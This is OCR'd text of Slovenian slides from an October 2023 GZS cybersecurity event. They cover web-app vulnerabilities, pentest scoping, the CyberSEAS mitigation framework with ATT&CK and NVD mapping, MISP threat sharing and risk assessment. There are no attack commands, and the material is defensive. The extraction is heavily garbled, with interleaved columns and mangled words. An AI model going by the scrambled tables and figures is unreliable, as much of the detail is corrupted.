CLIENT SERVER

Na

. I Gospodarska . .
SeKV I K PO ZdruZenje za
@ zbornica informatiko in

ZdruZenje za informatiko horizontalna SIovem]e telekomunikacije
(n telekomunikacije v

y o
a
MITM

--------



Glavne ranljivosti — spletne aplikacije

 “skrita” vsebina na spletnem strezniku
« Napadi z vrivanjem

@ noexistgolixsi

@ Apache2 Ubuntu Default Page

e —

This is the default welcome page used to test the correct operation of the Apache2 server after
Installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var /wiw/htul/index.htul)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page s about, this probably means

that the sits is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu tools. The configuration system is fully
documented in fusr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation, Documentation for the web server itself can be found by accessing the manual if the
apachea-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:
Jetc/apachez/
|-- apache2.conf
‘-~ ports.conf
|-~ mods-enabled
Jee ® i

@ SeKV

ZdruZenje za informatiko
in telekomunikacije
Kibernetska varnost

@ noexist.golixsi/bitcoin1/

Pregled aplikacije brez veljavnega uporabniSkega racuna

KUPI BITCOIN

Gospodarska

zbornica
horigonta[na Slovenije
mreza

ZdruZenje za
informatiko in
telekomunikacije



Glavne ranljivosti — spletne aplikacije

* Pregled aplikacije z veljavnim uporabniskim racunom
- Sibki avtorizacijskih mehanizmi

( PENETRATION

I K I Gospodarska
zbornica

horizontalna Slovenije

ZdruZenje za
informatiko in
telekomunikacije




Preverjanje kibernetske varnosti podjetja

« Kdaj je pravi Cas za izvedbo pregleda?

.

Database' File Server IDirectory
Server Server

DMZ

@
D sexv IKT oo,

ZdruZenje za informatiko horizontalna Slovenije ===

(n telekomunikacije w
Kibernetska varnost mreza

Intemal Network

ZdruZenje za G
informatiko in

telekomunikacije




Preverjanje kibernetske varnosti podjetja

« Kako doliCiti obseg in globino pregleda
« Zunanji pregled
* Notranji pregled
 Aplikativni pregled

 Testiranje varnostnih mehanizmov podjetja
« XDR
« Mail security
« WAF
* NGFW

horizontalna Slovenije telekomunikacije

SeKV I K I Gtg’s podarska ZdruZenje za G
ZI ornica informatiko in

ZdruZenje za informatiko

in telekomunikacije

Kibernetska varnost



Kako pristopit k pregledu

* |zbira izvajalca

 Certifikati vs lzkusSnje vs ekipa
https://www.gzs.si/sekv/Certifikati/

« Varnostni pregled vs Penetracijski test

ZdruZenje za G
informatiko in

telekomunikacije

" I Gospodarska
@ SeKV I K zborl?nica
Slovenije

ZdruZenje za informatiko hOfiZDntalna

in telekomunikacije
Kibernetska varnost mreza

--------


https://www.gzs.si/sekv/Certifikati/
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Kako se spopastl z aktualnimi
groznjami v kibernetskem
prostoru?

~Aktualni izzivi in resSitve za podjetja™

27. oktober 2023, 9:00-14:00
GZS, Dvorana A

Telekom () crREAPLUS
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ZdruZenje za in formatiko V
in telekomunikacije mreZa
Kibernetskavarnost ~ * * * & * & & @

Zakaj so pomembne raziskave
in razvoj KV v podjetjih?

~Primer iz prakse v elektro podjetju™

dr. Andrej Bregar in Gorazd Rolih, Informatika d.o.o.
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Razlogl za R&R KV

* Prilagajanje novim goznjam
« Skladnost regulative

» Konkurencna prednost

* Financna ucinkovitost

@
S e KV I K I Gl:? S pqdarska ZdruZenje za
gl ornica informatiko in
ZdruZenje za informatiko ovenie telekomunikacije

(n telekomunikacije



Pozitivni uéinki R&R KV na VOC

* |zboljsano zaznavanje in odziv na incidente KV (orodja,
metode)

* Manj] FP

* Naprednejsa analitika (velika koliCina podatkov)

* Avtomatizacija in Orkestracija (avtomatizacija rutinskih
operaci))

* ML In Al (boljsa predikcija)

* Threat Intelligence (proaktivho delovanje)

Komunikacie



Pozitivni uCinki R&R KV na podjetje

» Specificne resitve (npr. energetika)
*Krajsi DT

» Konkurencna prednost

* Razvoj znanj in spretnosti

* Ugled podjetja

Komunixkacie

S e KV I K I (Z.?bogﬁ%g:rska .f.’dru;‘:’enj.e za
= informatiko in
ZdruZenje za informatiko Slovem]e



R&R kot del programa in strategije KV

« KV je kompleksna =» nujen je strateski in sistematiCen pristop
 Celovita varnost in skladnost = KV ni en projekt ali izolirana aktivhost
* KV je krozni proces = vpetost v vse aktivhosti podjetja, program projektov

« Makro pogled na KV =» temeljno in aplikativnho R&R delo
* |zboljsava vpogleda v potrebe in izzive KV
« Horizontalno in vertikalno povezovanje
» Digitalna zrelost in odpornost (Digitalna Evropa)
* |dentifikacija, izvedba in sinergija ucinkovitin resitev KV

Ocenjevanje | |, Zahteve za KV
tveganja

R&R

Program in
strategija
KV

I K I fﬁé?ﬁﬂ:ﬁ"j, - ZdruZenje za
Slovenije HEE informatiko in

nje za informatiko horizontalna 113 telekomunikacije




EU projekti s podrocja KV

ZAJEM INFORMACU in ANALIZA

Zajem mreZnega prometa
Zajem log zapisov

Financiranje iz EU programov

Zajem X-Flow

X

N —— SOC center 1

INFORMACIJSKE STORITVE IN INEENIRING, D.0O.0O.

INFORMATIKA

UPRAVLJANJE Z INCIDENTI
Sync

MAXIMO

Poslovni kontekst

Upravljanje z viri
(Asset mgmt)

(Workflow and L2 \’:I>

FA Context based IM)

« Horizon 2020/2023 (CyberSEAS) owmmams

ITSM

g ;=
e S 5 "
» Eureka (SmartSOC) 5 L
. . . R Ozaves$canje
; ‘ —Upravljanje ranljivosti —
° Evro Skl Obram bnl Sklad innovation across borders I_penetracijski testi —.F> Obvesvcanj'e
p 2 —Analiza $kodljive kode L3 IzobraZevaje
5 L Varnostni pregled kode
ﬂ European | bl il pree
* ... Commission ol i UPRAVLIANJE Z GROZNJAMI IN RANLJIVOSTMI

Sodelovanje z uveljavljenimi mednarodnimi in domacimi partner;ji
Krepitev kompetenc, izmenjava znanja, razvoj inovativnih resitev

Digitalna Evropa — napredna KV kot temelj digitalizacije podjetij in storitev

Celovite resitve za KV — procesi, tehnologija in ljudje

Gospodarska
@ SeKV IKI zbornica
/,i/:‘(v,“,(‘lw ,J::fi(,;/‘f:‘”“ ko horlzontalna SlOVEnI]e

ZdruZenje za
informatiko in
telekomunikacije




Proaktivne resitve iz projekta CyberSEAS

1.

3.

) Cyber

Cyber Securing Energy dAta Services

Proaktivno ukrepanje proti kibernetskim tveganjem in napadom z
najvecjim vplivom na energetski sistem

2. Zascita uporabnikov pred podatkovnimivdoriin napadi
Povecanje varnosti skupnega energetskega podatkovnega prostora

REACTIVE
* Reaktivna strategija: upravljamo z

* Proaktivna strategija: predvidimo in
ocenimo kibernetska tveganja, groznje
in ranljivosti

* Na podlagi ocen implementiramo
ukrepe za preprecevanje napadov
in zmanjsSevanje njihovih posledic

informacijami o kibernetskih dogodkih

* Prozimo premostitvene ukrepe
kot odziv na kibernetske napade

D sexv IKT g

ZdruZenje za informatiko horizontalna Slovem]e
(n telekomunikacije v
Kibernetska varnost mreza

........

Premostitveni ukrepi in strategije

L]
) Cyber

Proaktivne metodologije in orodja

ZdruZenje za
informatiko in
telekomunikacije



Klasifikacija in definicija premostitvenih ukrepov

Ogrodje za
proaktivno KV

Postopek preslikave informacij

OdlocCitvena strategija za ocenitev vplivov in ukrepov

Odlocitveni proces

Odzivne procedure in umestitev v VOC

D ‘ Asset | Part ‘ ‘Vendor Product

MITRE | ATT&CK’ Matrices ~  Tactics ~  Techniques ~  DataSources  Mitigations ~  Groups  Software  Campaigns  Resources ~  Blog 7' Contribute CIS Controls v8-(153)  [EXIEAN o, - vt | o P P
¢ Search Q CRO.ELES. | Enterprise  Linux system
— Sub Title Asset Type Implementation Group: O 6 OO ucli 80
ATT&CK v13 has been released! Check out the blog post or release notes for more information. G Jova e B Eeipse Jova vitval| 8
CRO.ELES. Foundation | Machine
. ucl2
MITIGATIONS Home s > Enterprise CIS Control 1 - Inventory and Control of Enterprise Assets
Enterprise N Actively manage (inventory, track, and correct) all enterprise assets (end-user devices, including portable and mobile; network devic Source ID | Type ‘ Target ID
. s . connected to the infrastructure physically, virtually, remotely, and those within cloud environments, to accurately know the totality ¢ g g
Account Use Policies Enterprise Mitigations enterprise. This will also support identifying unauthorized and unmanaged assets to remove or remedate. SLOCRO.OPRUCI2 WatsGn. SLOCROOPRUCL
Active Directory Gonfia SLO-CRO.OPR.UCI.3 SLO-CRO.OPR.UCI.1
Active Directory Configuration Mitigations represent security concepts and classes of technologies that can be used to prevent a technique or sub-technique Werkson.
ARiiSIARGmalWare from being successfully executed Willgaitorisas o Maintain Detalled Enterprise ot o ® ® Py D ‘ CPEVS Aftack Yector ‘ ovE
Application Developer Guidance = SLO-CRO.ELES.UCI.1 | cpei2.3uaradhatenterprise_li | Network, E.g.. CVE-2022-4283, CVE-2022-
D Name Description 12 idre: thorized Asset Devices @ ®© (] nux: o Adjacent Network | 46344
Applicat olation and Sandboxing
nt Use Policies Configure features related to account use like login attempt lockouts, specific login times, etc. X SLO-CRO.ELES.UCI.2 | cpe:2&aisunjava_studio_ent | Network, CVE-2006-1830
Audit 13 Utilize an Active Discovery Toc Devices L ] erpris Adjocent Network
Prevention on Endpoint M1015 Directory Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc. ., s o ove ATTRCK Mitigation
o 14 HC 2 rprise Asset Devices @ o Tactic i Source
Boot Integrity ¥
Code Antivirus/Antimal Use signatures or heuristics to detect malicious software. SIECEUCHY| CVE2018-10400 Enable firewall feature in he RTU A
——— T 13 SIRA FANE A Dl It el ° ESLEC/ELV.2 | CVE-2020-15781 |T1189 | Restrict cccess fo port 443 SIEVENS /
D= F = N ) MITRE
A graph °'0 R s Strategies to Mitigate Cyber Security Incidents
st Udetd: ey 2017, Pt pblihed Febrery 230 D . e
ATT&CK Lookup Search DIFEND's 521 Atifacts DIFENDLOOKUD | boremmree earmens woeopmisaon I__: ecision
oottt [y rem—T—
Model - Harden -4 Detect = Isolate = DacE T —
. —
o Application  Credential ~ Message Platform File  Identfier Message  MeMO'K  piatform  Process UserBehavior Execution  Network Decoy L | [
g Analysis  Analysis ~ Analysis OIS Monitoring  Analysis  Analysis Isolation Isolation P
Application Biometric Message Bootoader ~ Dynamic ~ Homoglyph ~ Sender  Administaive  Fimware | Database  Authentcaton = Executable  Broadcast  Connected H H H 1
Configuration ~ Authentication = Authentication = Authentication ~ Analysis  Detection MTA Network Behavior  Query String vent Allowlisting Domain Honeynet Crlte rlo n 1 o000 Crlte rl On N
Hardening Reputation Activity Analysis Analysis Thresholding Isolation pyenanss
Certificate- Mess: Disk Emulated  identfier = Anabs's Analysis Executable Integrated § e e
Dead Code ased Encryption Encryption ! tivity Firmware FileAccess  Authorization ~ Denylisting DNS Honeynet s
Elimination Authentication Analysis Analysis Sender Byte Embedded Pattern Event Allowlisting B P e
Reputation Sequence Monitoring Analysis Thresholding :
Transfer Driver Load . Hardware- Standalone o rngton e i o4 e
Excepton Certficate Agent Integrity File Identfier | Analys's | Emuiaton Gods based HONOYNE | | o e et it T e
Handler Pinning Authentication Checking Content  Reputation Indirect Credential Process Denylisting = 200 st s U e e e o ~
Pointer Rules Analysis Certificate Fumware Branch Call ‘Compromise Isolation [ - - - H H
S s v | o | e Alternativel | e e e | AlternativeM
Rotation Encryption File Domain o o 10 Port Resolution Pub
Hashing Name. Active Peripheral Process Restriction Domain Rele
Authentication - Reoutation Certificate Firmware Code Domain Denviisting

@
KV I K I Gospodarska ZdruZenje za
@ Se zbornica informatiko in
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Klasifikacija ukrepov
In strateqi]

Viri in odvisnosti

Ranljivostiin TTP-ji

Premostitveniin odzivni
ukrepi ter strategije

Premostitveni ukrep je ustrezen:

1.

Ce izboljsa izmerjeni ali
ocenjeni vplivzaznanega
kibernetskega incidentain
Ce dosega ali presega
zahtevano stopnjo, saj v
nasprotnem primeru stroski
premostitvenega ukrepa ne
bi upravicili njegovih koristi

ID Asset Part Vendor Product Version CPEv2.3

SLO- Red Hat | o Red Hat Operating 8 cpe:2.3:redhat:enter
CRO.ELES. | Enterprise  Linux system prise_linux:8.0:* ** 2%
ucia 8.0 *

SLO- Java EE a Eclipse Java Virtual | 8 cpe:2.3:aisunijava_stu
CRO.ELES. Foundation Machine dio_enterprise:8:*:*:**:*
uci.2 =

Source ID ‘ Dependency Type | Target ID

SLO-CRO.OPR.UC1.2 WorksQn, SLO-CRO.OPR.UCI.]
SLO-CRO.OPR.UC1.3 WorksQn, SLO-CRC.OPR.IUCI

ID ‘ CPEv2.3 Attack Vector | CVE

SLO-CRO.ELES.UC1.1 cpe:2.3:aradhat:enterprise_li Network, E.g.. CVE-2022-4283, CVE-2022-

nux:B.0:*xrr s

SLO-CRO.ELES.UC1.2 | cpe:2.3:aisunjava_studio_ent | Network,

erprise:g: % k%

Adjacent Network

46344
CVE-2006-1830

Adjacent Network

COST EFFECTIVE

i
[

D CVE :‘;:f‘ Mitigations ;“L’T”"
ESTEC/ELV.1 | CVE2018-10603 | Enable firewall feature in the RTU CISA
ESTEC/ELV.2 | CVE-2020-15781 | T1189 Resirict access fo port 443 iJETIR’I.ENS /
ID Ukrep Opis in uporaba Vpliv Ucinek ukrepa
M.1 | Polnavidljivost | Prek standardnega operacijskega okolja | Srednji Izboljsana vidljivost
namescenih zagotoviti popolno vidljivost namescene potencialno
aplikacij programske opreme, dosledno vzdrzevati ogroienega
inventar namescene programske opreme, programja
vpeljati proces upravljanja sprememb
M.2 | Blokiranje Zagotoviti, da mehanizminadzora aplikacij | Srednji Blokirana
nedovoljenega | in dovoljenj za dostop do datoteinega zlonamerna koda z
programja sistema blokirajo nedovoljeno programje nadzorom aplikacij
(pripone .js, .jse, .vbs, .vbe, wsf itd.)
M.3 | Zascita Uporabiti orodja za zascito koncnih tock in | Srednji Blokirana
koncnih tock zasCito pred zlonamerno kodo, ki nudijo zlonamerna koda z
tudi funkcionalnosti nadzora aplikacij nadzorom aplikacij

@ SeKV

ZdruZenje za informatiko
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Postopek preslikave informacij

microsoft sql_server

Enterprise Mitigations

Vuln ID 1 Summary @ CVSS Severity e Mitigations represent security concepts and classes of technologies that can be used to prevent a technique or sub-technique
from being successfully executed.

CVE-2023-23384 Microsoft SQL Server Remote Code Execution Vulnerability LERH 2.5 CRITICAL
Published: April 11, 2023; 5:15:18 PM -0400 V2.0:(not available) D Name Description
CVE-2023-21718 Microsoft SQL ODBC Driver Remote Code Execution Vulnerability L-"3..1.‘- M1036  Account Use Policies Configure features related to account use like login attempt lockouts, specific login times, etc.
: ) e - V2.0:(not available)
Published: February 14, 2023; 3:15:14 PM -0500 M1015  Active Directory Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.
CVE-2023-21713 Microsoft SQL Server Remote Code Execution Vulnerability V3.1 - Configuration
Published: February 14, 2023; 3:15:14 PM -0500 V2.0:{not available) M1049  Antivirus/Antimalware Use signatures or heuristics to detect malicious software.
. Premostitveni ukrepi in strategije
Standardna o . Tehnike napadov
. . Ranljivosti (MITRE ATT&CK/D3FEND, CSC,
IT/OT vir oznaka vira (MITRE ATT&CK, CSC,

(CVE, CWE) ACSC, priporocila proizvajalcev,

interna baza)

(CPE) ACSC, interna baza)

Temporal Environmaental Overall CVSS Base Score: 5.5
- . - . 10.0 1 . .

incident ali
groznja

NATIONAL VULNERABILITY
BGBABASE l
Kibernetski -

@
S e KV Gos pqdarska ® ZdruZenje za
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Primer integracije — baza ranljivosti (NVD)

Set objHTTP = CreateObject ("WinHttp.WinHttpRequest.5.1") * JSON
Url = "https://services.nvd.nist.gov/rest/json/cves/2.0?cpeName=" + cpeName « REST API
On Error GoTo NVD ERROR HANDLER T
objHTTP.Open "GET", Url, False N Rk s  HTTP GET
On Error GoTo NVD ERROR HANDLER

| _ERROR_ * CVE AP
Ob] HTTP.send Q, Search Results (refine search)
' Process ob]jHTTP.responseText - o o * CPE API
NVD ERROR HANDLER: L

_ - ‘ sentr e weewewee | ® Source AP

MsgBox "CVEs cannot be retrieved!" e —

epe:2.3:atoracle:database_mobilel/lite_serv:

Err.Clear

CVEID CVE description CVSS version  CVSS severity

CVE-2001-0832  Vulnerability in Oracle 8.0.x through 9.0.1 on Unix allows local users to overwrite V2.0 2,1
arbitrary files

CVE-2001-0833  Buffer overflow in otrcrep in Oracle 8.0.x through 9.0.1 allows local users to execute V2.0 7,2
arbitrary code via a long ORACLE_HOME environment variable

CVE-2003-0727  Multiple buffer overflows in the XML Database (XDB) functionality for Oracle 9i Database V2.0 2,1
Release 2 allow local users to cause a denial of service or hijack user sessions.

CVE-2005-0297  SQL injection vulnerability in Oracle Database 9i and 10g allows remote attackers to V2.0 7,5

execute arbitrary SQL commands and gain privileges.

CPE: cpe:2.3:a:oracle:database_server:-;* ** ¥ **

I Gospodarska . .
SeKV I K PO ZdruZenje za
@ zbornica informatiko in
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OdlocCitvena strategija

Dva premostitvena pristopa:
o Premostitvene strategije: zaporedje vec premostitvenih ukrepoy, ki jih izvedemo v navezavi

o Promostitveniukrepi: niso del strategije ter se izbirajo in izvajajo neodvisno
Standardi in priporocila:

o Priporocila NIST o upravljanju informacijskih varnostnih tveganj

« Splosni kriteriji za varnost IT sistemov po standardu ISO/IEC 15408

o Model CIA — zaupnost, celovitost, razpolozljivost

« Kriteriji za ocenjevanje vplivov infrastrukturnih odpovedi po priporocilih organizacije NESCOR
« Poslovne in organizacijske zahteve
« ToleranCne omejitve ocenjenih organizacijskih tveganj

Org. nivo

CSE,; ={T1087.001, T1087.002, T1087.003, T1087.004, T1110.002}

/ Poslovni nivo

Account Theft = {Local Account Discovery, Domain Account Discovery,
Email Account Discovery, Cloud Account Discovery, Password Cracking}

Informacijski nivo

ZdruZenje za
informatiko in
telekomunikacije

‘ Gospodarska
@ SeKV I K I zborl?nica
ZdruZenje za infor

: : Slovenije
bnje.2a informatiio horizontalna '
(n telekomunikacije v

Kibernetska varnost mreza
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Veckriterijski ocenitveni model

ali strategije

Informacijski Poslovni
sistemn proces
Visokonivojski kriteriji Elementarni kriteriji | : I : | : I :
lzmerjeni vpliv SIEM ocena resnosti Tehnitne ob Okolie- v voivmats | IPosiounivoli Poslovne
CVSS V2.0/V3.1/V4.0 Sahteve seg olje - viri pliv na oslovnivpliv omejitve
Varnostni vidik Skrb za javno varnost
Skrb za varovanje delovne sile | | Ekspertno | RazpoloZlii- || | i oheni | |-eas okrevanja
Znanje vost

Vpliv na ekologijo

Sistemski obseg _ __ Nivo

Vpliv na energetski sistem  Negativni vpliv na proizvodno kapaciteto | Oprema | Celovitost | Operativni okrevanja
Negativni vpliv na energetski trg
Negativni vpliv na prenosni sistem

—  Stroski — Zaupnost |~  Ugled

Negativni vpliv na storitve za uporabnike

Poslabsanje odnosa do distribucijskega sistema -

lzguba zasebnosti deleZnikov -1 Cas .
Financni vpiv Financ¢ni vpliv na distribucijski sistem 1. model: Ocenitev

Stroski obnovitve prvotnega stanja vpliva grozenj ali

Neposredna ekonomska Skoda incidentov

Dolgoroc¢na ekonomska Skoda y

Kriticnost virov Odpornost ogorienega vira
Relevantnost ogroZzenega vira

2. model: Ocenitevin
izbira premostitvenih

. Gospodarska - . o
@ SeKv IKT zbornica @ vl ukrepov ali strategij

ZdruZenje za informatiko horizontalna SlOVEﬂI]e telekomunikacije y
in telekomunikacije v
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CVEs for selected asset

Martem Telem-GW6 Level 1
Schneider Electri EcoStruxure ADN Level 2 EST.EC/ELV.1 ProvidesSituatic
Level 2 EST.EC/ELV.1 BelongsTo

EST.EC/ELV.1 Connects
EST.EC/ELV.9 ProvidesSituatic

Trimble DMS Level 3

Selected asset ES

EST.EC/ELV.15
EST.EC/ELV

CVE-2017-8116  The management interface for the Teltonika RUTOXX CVSS V2.0: 10
A memory leak problem was found in the TCP source CVSS V2.0

¥
zlib through 1.2.12 has a heap-based buffer over-rea CVSS v2.0: 9.8

EST.EC/ELV.15

CVSS V2.0 Q.00

Calculate CVSS V2.0 |

Attack techniques for selected asset

EST.EC/ELV.9 SCADA
EST.EC/ELV.10 Incident response s
EST.EC/ELV.11 Mobile network
EST.EC/ELV.12 IED

EST.EC/ELV.13 IED

EST.EC/ELV.14 IED

EST.EC/ELV.15 Router/cellular mod
EST.EC/ELV.16 Ethernet switch

Schneider Electric

ABB

Eberle
Siemens
Teltonika

Siemens Ruggedcol RS900

EcoStruxure AD|

REF630
REG-D
75AB4
RUTX12

SIEM logs Malware IP: 10.128.2.202 Port: 443
Exploit IP: 10.70.20.99 Port: 53
Firewall Deny IP: 10.128.25.180 Port: 443

=> Move all

<= Clear all

il

IP: 10.128.2.202

IP: 10.70.20.99
1P: 10.128.25.180

Magnitude: 5.33

Magnitude: 5.33

Clear input and selection |

=> Remove selected incidents |

Add dependent assets

Add incident (manual} | elect identified incident: Clear all incidents |

T1105
T1190
T0814

EST.EC/ELV.15 Ingress Tool Transfer
E

Denial of Service

Identified incidents

7.33
7.33

7.50
8.75

EST.EC/ELV.1
EST.EC/ELV.9

Exploit

Exploit T0886, T0888

Remove selected assets

Clear all

Identification of incidents and attack techniques
4 A B € D E F
1 |Asset ID EST.EC/ELV.1 EST.EC/ELV.9 EST.EC/ELV.4 EST.EC/ELV.15 EST.EC Compromised assets
2 | Asset type RTU SCADA Substation Router/cellular modem oms
3 | Asset vendor Martem Schneider Electric Teltonika Trimbl ESTEGEVD  RTU
| EST.EC/ELV.9  SCADA
4 Asset product Telem-GW6 EcoStruxure ADMS RUTX12 DMS EST.EC/ELV.4  Substation
5 |Asset level Level 1 Level 2 Level 2 Level 2 Level 3 EST.EC/ELV.15
6 |D EST.EC/ELV.1 ProvidesSituation EST.EC/ELV.1 BelongsTo EST.EC/ELV.1 Connects EST.EC EST.EC/ELV.S  OMS
7 [Incident type Firewall Deny Firewall Deny Firewall Deny Exploit Exploit
8 | Attack techniques T0886, TO888 T0814 T1105, T1190, T0814 T1210
9 |SIEM magnitude 0,10 533 533 533 733
10 |cvss v2.0 0,10 7,50 8,75 9,33
11 |System scale 0,05 7,00 6,00 6,00 6,00
12 | Public safety concern 0,05 6,00 5,00 5,00 5,00
13 | Workforce safety concern 0,05 5,00 4,00 1,00 4,00
14 | Ecological concern 0,05 4,00 3,00 3,00 3,00 Analyse selected asset |
15 | Financial impact on utility 0,05 8,00 6,00 6,00 6,00
16 |Restoration costs 0,05 8,00 6,00 1,00 6,00
17 | Negative impact on generation capacity | 0,05 10,00 8,00 3,00 8,00 SIEM logs
18 | Negative impact on energy market 0,05 9,00 7,00 3,00 7,00 Malware
19 | Negative impact on transmission system | 0,05 9,00 7,00 3,00 7,00
20 | Negative impact on customer service 0,05 7,00 6,00 6,00 6,00 Firewall Deny
21 | Destroys goodwill toward utility 0,05 3,00 2,00 2,00 2,00
22 | Immediate economic damage 0,05 8,00 6,00 6,00 6,00
23 | Long term economic damage 0,05 7,00 6,00 6,00 6,00
24 | Privacy loss of stakeholders. 0,05 10,00 8,00 4,00 8,00
25 |Resilience of asset 0,05 6,00 5,00 5,00 5,00
26 Relevance of asset 0,05 9,00 7,00 7,00 7,00
27 impact score ey ] 6,01 3,38 6,27
28|
29
‘ Control panel | SIEM logs | Incident impact assesment | Mitigation selection ‘ Mitigation implementation ‘ ® < Tncident type (manual input)
Incident description
Asset identification
po iI conrch aeets | Add incident (SIEM)
Assets Compromised assets
EST.EC/ELV.1 3 Martem Telem-GW6 EST.EC/ELV.1 RTU Martem Telem-GW6
EST.EC/ELV.2 RTU Siemens SICAM A8000 EST.EC/ELV.9 SCADA Schneider Electri  EcoStruxure Al
EST.EC/ELV.3 RTU ABB RTUS60 EST.EC/ELV.4 Substation = - =
EST.EC/ELV.4 Substation => Move selected EST.EC/ELV.15  Router/cellular v Teltonika RUTX12 Level 2 EST.EC/ELV.1 Connects
EST.EC/ELV.5 Distribution Operatc EST.EC/ELV.B OoMS Trimble DMS Level 3 EST.EC/ELV.8 ProvidesSitua
EST.EC/ELV.6 Meter Data Manage
EST.EC/ELV.7 Aggregator applicat
EST.EC/ELV.8 OMS Trimble DMS

Select compromised assets
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— implementacije

D sexv IKT e

ZdruZenje za informatiko horizontalna Slovem]e
in telekomunikacije v
Kibernetska varnost mreza

--------

Proces

Agregacija

Vulnerabilities
CVSS(ay,vy) CVSS(aq,vpy)
CVSSia,,vq) CVSS(a,vy)
Incidents
S(ay.iy) S(ay.im)
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#
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S(ap.iq) S(ayim)
Efficiency
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o
)
=
E(mp)
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implementacija
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ukrepov in strategij
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VOC Informatike — MISP

- ‘Open Source’ Tl platforma

- Izmenjava, kolaboracija in deljenje obvescevalnih podatkov o groznjah
med organizacijami in skupnostmi

- razlicni podatki o groznjah (I0C, C2 vzorci kode, profili akterjev grozen,
ukrepi, resitve, orodja ...) — skladiSCe obvescCevalnih podatkov o groznjah

- standardiziran tip podatkov (STIX, json, xml, csv ...)

- deljenje podatkov med zaupanja vrednimi strankami, skupnostmi (CERT,
NATO, Energetika ...)

- korelacija med zapisi, ki omogoca identifikacijo TTP in boljse razumevanje
- kolektivna obramba

Gospodarska Senj
SeKV I K po ZdruZenje za
@ I zbornica informatiko in
ZdruZenje za informatiko

horizontalna Slovenije telekomunikacije

Komunixkacie



VOC Informatike — MISP

*\V operativni uporabl 6 mesecev
*45.701 IP na referencnem seznamu (I0C, C2)
» Cca 400 dogodkov/mesec

*/ resnih EJ

MISP

Threat Sharing

S e KV I K I (z';g s?r(l)idarska ZdruZenje za
ornica informatiko in
ZdruZenje za informatiko ovenije

in telekomunikacije

--------



Ka] smo dosegli z R&R?

* Proaktiven in celovit pristop h KV

* Upravljanje in im Iemen_taci{a ucinkovitin
remostitvenih ukrepov in strategij, s katerimi
ahko vnaprej naslovimo kibernetske groznje

Stroskovna in izvedbena ucCinkovitost
Poenotenost z EU zakonodajo v luci direktive NIS 2
Povecanje kibernetske odpornosti EE sistema v realnem Casu
Primernost resitev za razliCcna korporativna okolja in podjetja
|zboljSava informacij za odloCanje o KV

Vpetost Cloveka v KV na razliCcnih organizacijskih nivojih
|lzemnjava informacij o kibernetskih groznjah

« Standardizacija in povecCanje ucinkovitosti odzivov

 Vertikalno in horizontalno povezovanje (podjetja, delezniki, organizacijski
nivoji, delovni procesi, EU prostor ﬂ

SEKV I K I Gg) SEI;:)_darska ZdruZenje za
zbornica informatiko in
ZdruZenje za informatiko
telekomunikaci

horizontalna Slovenije telekomunikacije
in telekomunikacije v
Kibernetska varnost mreza
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Kako se spopastl z aktualnimi
groznjami v kibernetskem
prostoru?

~Aktualni izzivi in resSitve za podjetja™

27. oktober 2023, 9:00-14:00
GZS, Dvorana A
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Kako analmratu kibernetska
tveganja ter ugotovitve prakticno

uporabiti?
~Marko Zavadlav, PRO.astec™

27. oktober 2023, 9:00-14:00
GZS, Dvorana A

Telekom () crREAPLUS



AGENDA

« Kdo smo?

« Zakaj upravljati tveganja?
* Metodologija

* Ocena in analiza

« Ukrepi/kontrole

horizontalna

ZdruZenje za informatiko
(n telekomunikacije
Ki tska varnost

bornica



O predavatelju

Marko Zavadlav /\
L

Vodilni presojevalec ISO/IEC 27001

* Presojevalec ISO 22301

* Presojevalec ISO 9001

* Presojevalec TISAX

 Preizkuseni revizor informacijskih sistemov

Gospodarska ZdruZenje za
@ SeKV I K I zbornica @ informatiko in

ZdruZenje za informatiko horizontalna S|OVEI"‘II]E telekomunikacije
(n tel nunikacije w

--------



Zakaj upravljati tveganja

Kibernetske groznje — pred kom se branimo?
* Notranji nepridipravi

* Okvare

* Napake ljudi

« Kriminalne organizacije

« Samostojni napadalci, katerih cilj je denar

« Organizirani napadalci, podprti s strani drzav

S e KV I K Gbospo_darska ZdruZenje za
I Zbornica informatiko in
ZdruZenje za informatiko
in e

horizontalna Slovenije telekomunikacije

Komunixkacie



Zakaj upravljati tveganja

Kaj Je tveganje?
« Kombinacija verjetnosti dogodka in njegove posledice. (ISO/IEC 73)

* vpliv negotovosti na cilje, uCinek pa je pozitivno ali negativnho odstopanje
od priCakovanega (ISO 31000)

horizontalna Slovenije telekomunikacije

SeKV I K I Gtg’s podarska ZdruZenje za
ZI ornica informatiko in

ZdruZenje za informatiko

in telekomunikacije

Kibernetska varnost



Zakaj upravljati tveganja

« Zmanjsujemo verjetnost uresnicitve groznje
« Zmanjsujemo posledice realizirane groznje
« Zmanjsamo tveganje!

I Gospodarska
@ SeKV I K zbornica
ZdruZenje za informatiko
telek unikaci

inile omuntk e horizontalna Slovenlle
K.ib.eflletska VdI'II‘OSI mreza

ZdruZenje za
informatiko in
telekomunikacije



Metodologija

Pred samo izvedbo ocene

Vrednosti twveganj (T=V+P-K)

5 5 | 10
4 4 L
3 3 &
Ocena 2 2 4 & s | 10
verjetnosti | 1 1 2 3 4 5
1 2 3 4 5
COcena posledice

ZdruZenje za informatiko
(n telekomunikacije
Kibernetska varnost

@ SeKV

IKT

horizontalna

Komunikacija
in
posvetovanje

Vzpostavitev okvira

Ocenjevanje tveganj

Identifikacija tveganj

l

Analiza tveganj

|

Vrednotenje tveganj

Gospodarska
zbornica
Slovenije

Obravnava tveganj

Spremljanje in
ocenjevanje

ZdruZenje za
informatiko in
telekomunikacije




Metodologija

* Matrika

* Vrednosti

« Sprejemljivi nivo

« Odgovornosti

* Perioda

» Osnovni nabor grozen;

* Predlog in potrjevanje kontrol/ukrepov
* Nadzor nad ucinkovitostjo kontrol

SeKV Gospodarska
zbornica
ZdruZenje za informatiko horizontalna Slovem]e
in telekomunikacije v
Kibernetska varnost

ZdruZenje za
informatiko in
telekomunikacije



Ocena in analiza - primer

» Groznja — izsiljevalski virusi

* Ranljivost — nezasciteni sistemi, nepoznavanje kibernetske
higiene, operacijski sistemi brez proizvajalCeve podpore,
neustrezne varnostne kopije, slaba varnost znotraj omrezja
